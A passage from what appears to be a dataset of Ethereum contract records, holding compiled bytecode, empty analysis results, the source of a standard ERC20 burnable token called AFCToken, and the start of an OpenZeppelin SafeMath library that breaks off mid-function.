1693390600090a1565b61056633826108a5565b50565b600354600160a01b900460ff1681565b6001600160a01b031660009081526020819052604090205490565b61059e828261097e565b5050565b6105aa61065f565b6105fb576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600354600160a01b900460ff161561061257600080fd5b6003805460ff60a01b1916600160a01b1790556040517f9e87fac88ff661f02d44f95383c817fece4bce600a3dab7a54406878b965e75290600090a1565b6003546001600160a01b031690565b6003546001600160a01b0316331490565b604051806040016040528060038152602001621314d160ea1b81525081565b600354600090600160a01b900460ff16156106a957600080fd5b61044483836109c3565b600354600090600160a01b900460ff16156106cd57600080fd5b61044483836109ff565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b61070a61065f565b61075b576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001600160a01b0381166107a05760405162461bcd60e51b8152600401808060200182810382526026815260200180610d156026913960400191505060405180910390fd5b6003546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600380546001600160a01b0319166001600160a01b0392909216919091179055565b6000610809338484610a0c565b50600192915050565b600061081f848484610af8565b6001600160a01b03841660009081526001602090815260408083203380855292529091205461085f91869161085a908663ffffffff610c3a16565b610a0c565b5060019392505050565b3360008181526001602090815260408083206001600160a01b0387168452909152812054909161080991859061085a908663ffffffff610c9716565b6001600160a01b0382166108ea5760405162461bcd60e51b8152600401808060200182810382526021815260200180610d5d6021913960400191505060405180910390fd5b6002546108fd908263ffffffff610c3a16565b6002556001600160a01b038216600090815260208190526040902054610929908263ffffffff610c3a16565b6001600160a01b038316600081815260208181526040808320949094558351858152935191937fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929081900390910190a35050565b61098882826108a5565b6001600160a01b03821660009081526001602090815260408083203380855292529091205461059e91849161085a908563ffffffff610c3a16565b3360008181526001602090815260408083206001600160a01b0387168452909152812054909161080991859061085a908663ffffffff610c3a16565b6000610809338484610af8565b6001600160a01b038316610a515760405162461bcd60e51b8152600401808060200182810382526024815260200180610da36024913960400191505060405180910390fd5b6001600160a01b038216610a965760405162461bcd60e51b8152600401808060200182810382526022815260200180610d3b6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260016020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b038316610b3d5760405162461bcd60e51b8152600401808060200182810382526025815260200180610d7e6025913960400191505060405180910390fd5b6001600160a01b038216610b825760405162461bcd60e51b8152600401808060200182810382526023815260200180610cf26023913960400191505060405180910390fd5b6001600160a01b038316600090815260208190526040902054610bab908263ffffffff610c3a16565b6001600160a01b038085166000908152602081905260408082209390935590841681522054610be0908263ffffffff610c9716565b6001600160a01b038084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b600082821115610c91576040805162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b50900390565b600082820183811015610444576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fdfe45524332303a207472616e7366657220746f20746865207a65726f20616464726573734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a265627a7a72315820cb908ba0ba81f95945e3d6ea545dcfd23e8571d70a936fca31944fe881cbe5d264736f6c63430005110032
{"success": true, "error": null, "results": {}}
9,534
0xb98b2f855b952d103ce6a7f24bcf69677b80eff6
pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } contract ERC20 is Context, IERC20 { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overloaded; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } abstract contract ERC20Burnable is Context, ERC20 { /** * @dev Destroys `amount` tokens from the caller. * * See {ERC20-_burn}. */ function burn(uint256 amount) public virtual { _burn(_msgSender(), amount); } /** * @dev Destroys `amount` tokens from `account`, deducting from the caller's * allowance. * * See {ERC20-_burn} and {ERC20-allowance}. * * Requirements: * * - the caller must have allowance for ``accounts``'s tokens of at least * `amount`. */ function burnFrom(address account, uint256 amount) public virtual { uint256 currentAllowance = allowance(account, _msgSender()); require(currentAllowance >= amount, "ERC20: burn amount exceeds allowance"); _approve(account, _msgSender(), currentAllowance - amount); _burn(account, amount); } } contract AFCToken is Ownable, ERC20Burnable { constructor(address wallet) Ownable() ERC20("ANIME FOREST COIN","AFC") { _mint(wallet, (5 * (10 ** 9)) * (10 ** 18)); transferOwnership(wallet); } }
0x608060405234801561001057600080fd5b50600436106101005760003560e01c8063715018a611610097578063a457c2d711610066578063a457c2d71461029d578063a9059cbb146102cd578063dd62ed3e146102fd578063f2fde38b1461032d57610100565b8063715018a61461023b57806379cc6790146102455780638da5cb5b1461026157806395d89b411461027f57610100565b8063313ce567116100d3578063313ce567146101a157806339509351146101bf57806342966c68146101ef57806370a082311461020b57610100565b806306fdde0314610105578063095ea7b31461012357806318160ddd1461015357806323b872dd14610171575b600080fd5b61010d610349565b60405161011a9190611891565b60405180910390f35b61013d600480360381019061013891906112df565b6103db565b60405161014a9190611876565b60405180910390f35b61015b6103f9565b6040516101689190611a33565b60405180910390f35b61018b60048036038101906101869190611290565b610403565b6040516101989190611876565b60405180910390f35b6101a9610504565b6040516101b69190611a4e565b60405180910390f35b6101d960048036038101906101d491906112df565b61050d565b6040516101e69190611876565b60405180910390f35b6102096004803603810190610204919061131b565b6105b9565b005b6102256004803603810190610220919061122b565b6105cd565b6040516102329190611a33565b60405180910390f35b610243610616565b005b61025f600480360381019061025a91906112df565b610750565b005b6102696107d4565b604051610276919061185b565b60405180910390f35b6102876107fd565b6040516102949190611891565b60405180910390f35b6102b760048036038101906102b291906112df565b61088f565b6040516102c49190611876565b60405180910390f35b6102e760048036038101906102e291906112df565b610983565b6040516102f49190611876565b60405180910390f35b61031760048036038101906103129190611254565b6109a1565b6040516103249190611a33565b60405180910390f35b6103476004803603810190610342919061122b565b610a28565b005b60606004805461035890611b97565b80601f016020809104026020016040519081016040528092919081815260200182805461038490611b97565b80156103d15780601f106103a6576101008083540402835291602001916103d1565b820191906000526020600020905b8154815290600101906020018083116103b457829003601f168201915b5050505050905090565b60006103ef6103e8610bd1565b8484610bd9565b6001905092915050565b6000600354905090565b6000610410848484610da4565b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061045b610bd1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156104db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104d290611953565b60405180910390fd5b6104f8856104e7610bd1565b85846104f39190611adb565b610bd9565b60019150509392505050565b60006012905090565b60006105af61051a610bd1565b848460026000610528610bd1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546105aa9190611a85565b610bd9565b6001905092915050565b6105ca6105c4610bd1565b82611026565b50565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61061e610bd1565b73ffffffffffffffffffffffffffffffffffffffff1661063c6107d4565b73ffffffffffffffffffffffffffffffffffffffff1614610692576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161068990611973565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60006107638361075e610bd1565b6109a1565b9050818110156107a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079f90611993565b60405180910390fd5b6107c5836107b4610bd1565b84846107c09190611adb565b610bd9565b6107cf8383611026565b505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606005805461080c90611b97565b80601f016020809104026020016040519081016040528092919081815260200182805461083890611b97565b80156108855780601f1061085a57610100808354040283529160200191610885565b820191906000526020600020905b81548152906001019060200180831161086857829003601f168201915b5050505050905090565b6000806002600061089e610bd1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561095b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161095290611a13565b60405180910390fd5b610978610966610bd1565b8585846109739190611adb565b610bd9565b600191505092915050565b6000610997610990610bd1565b8484610da4565b6001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610a30610bd1565b73ffffffffffffffffffffffffffffffffffffffff16610a4e6107d4565b73ffffffffffffffffffffffffffffffffffffffff1614610aa4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a9b90611973565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610b14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0b906118f3565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610c49576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c40906119f3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610cb9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cb090611913565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610d979190611a33565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e0b906119d3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610e84576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7b906118b3565b60405180910390fd5b610e8f8383836111fc565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610f16576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0d90611933565b60405180910390fd5b8181610f229190611adb565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610fb49190611a85565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516110189190611a33565b60405180910390a350505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611096576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161108d906119b3565b60405180910390fd5b6110a2826000836111fc565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611129576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611120906118d3565b60405180910390fd5b81816111359190611adb565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816003600082825461118a9190611adb565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516111ef9190611a33565b60405180910390a3505050565b505050565b60008135905061121081611c38565b92915050565b60008135905061122581611c4f565b92915050565b60006020828403121561123d57600080fd5b600061124b84828501611201565b91505092915050565b6000806040838503121561126757600080fd5b600061127585828601611201565b925050602061128685828601611201565b9150509250929050565b6000806000606084860312156112a557600080fd5b60006112b386828701611201565b93505060206112c486828701611201565b92505060406112d586828701611216565b9150509250925092565b600080604083850312156112f257600080fd5b600061130085828601611201565b925050602061131185828601611216565b9150509250929050565b60006020828403121561132d57600080fd5b600061133b84828501611216565b91505092915050565b61134d81611b0f565b82525050565b61135c81611b21565b82525050565b600061136d82611a69565b6113778185611a74565b9350611387818560208601611b64565b61139081611c27565b840191505092915050565b60006113a8602383611a74565b91507f45524332303a207472616e7366657220746f20746865207a65726f206164647260008301527f65737300000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061140e602283611a74565b91507f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008301527f63650000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611474602683611a74565b91507f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008301527f64647265737300000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006114da602283611a74565b91507f45524332303a20617070726f766520746f20746865207a65726f20616464726560008301527f73730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611540602683611a74565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206260008301527f616c616e636500000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006115a6602883611a74565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206160008301527f6c6c6f77616e63650000000000000000000000000000000000000000000000006020830152604082019050919050565b600061160c602083611a74565b91507f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726000830152602082019050919050565b600061164c602483611a74565b91507f45524332303a206275726e20616d6f756e74206578636565647320616c6c6f7760008301527f616e6365000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006116b2602183611a74565b91507f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008301527f73000000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611718602583611a74565b91507f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061177e602483611a74565b91507f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006117e4602583611a74565b91507f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008301527f207a65726f0000000000000000000000000000000000000000000000000000006020830152604082019050919050565b61184681611b4d565b82525050565b61185581611b57565b82525050565b60006020820190506118706000830184611344565b92915050565b600060208201905061188b6000830184611353565b92915050565b600060208201905081810360008301526118ab8184611362565b905092915050565b600060208201905081810360008301526118cc8161139b565b9050919050565b600060208201905081810360008301526118ec81611401565b9050919050565b6000602082019050818103600083015261190c81611467565b9050919050565b6000602082019050818103600083015261192c816114cd565b9050919050565b6000602082019050818103600083015261194c81611533565b9050919050565b6000602082019050818103600083015261196c81611599565b9050919050565b6000602082019050818103600083015261198c816115ff565b9050919050565b600060208201905081810360008301526119ac8161163f565b9050919050565b600060208201905081810360008301526119cc816116a5565b9050919050565b600060208201905081810360008301526119ec8161170b565b9050919050565b60006020820190508181036000830152611a0c81611771565b9050919050565b60006020820190508181036000830152611a2c816117d7565b9050919050565b6000602082019050611a48600083018461183d565b92915050565b6000602082019050611a63600083018461184c565b92915050565b600081519050919050565b600082825260208201905092915050565b6000611a9082611b4d565b9150611a9b83611b4d565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611ad057611acf611bc9565b5b828201905092915050565b6000611ae682611b4d565b9150611af183611b4d565b925082821015611b0457611b03611bc9565b5b828203905092915050565b6000611b1a82611b2d565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015611b82578082015181840152602081019050611b67565b83811115611b91576000848401525b50505050565b60006002820490506001821680611baf57607f821691505b60208210811415611bc357611bc2611bf8565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b611c4181611b0f565b8114611c4c57600080fd5b50565b611c5881611b4d565b8114611c6357600080fd5b5056fea26469706673582212207fb4e6ea160a7af1e29aa6d4ab2086b4d356bbde32aec439c676428a5758ef4564736f6c63430008000033
{"success": true, "error": null, "results": {}}
9,535
0x8e46Ae47E6006CB00aBd6943136044601Dc94C58
pragma solidity ^0.5.16; // From https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/math/Math.sol // Subject to the MIT license. /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the addition of two unsigned integers, reverting with custom message on overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, errorMessage); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on underflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot underflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction underflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on underflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot underflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, errorMessage); return c; } /** * @dev Returns the integer division of two unsigned integers. * Reverts on division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. * Reverts with custom message on division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal 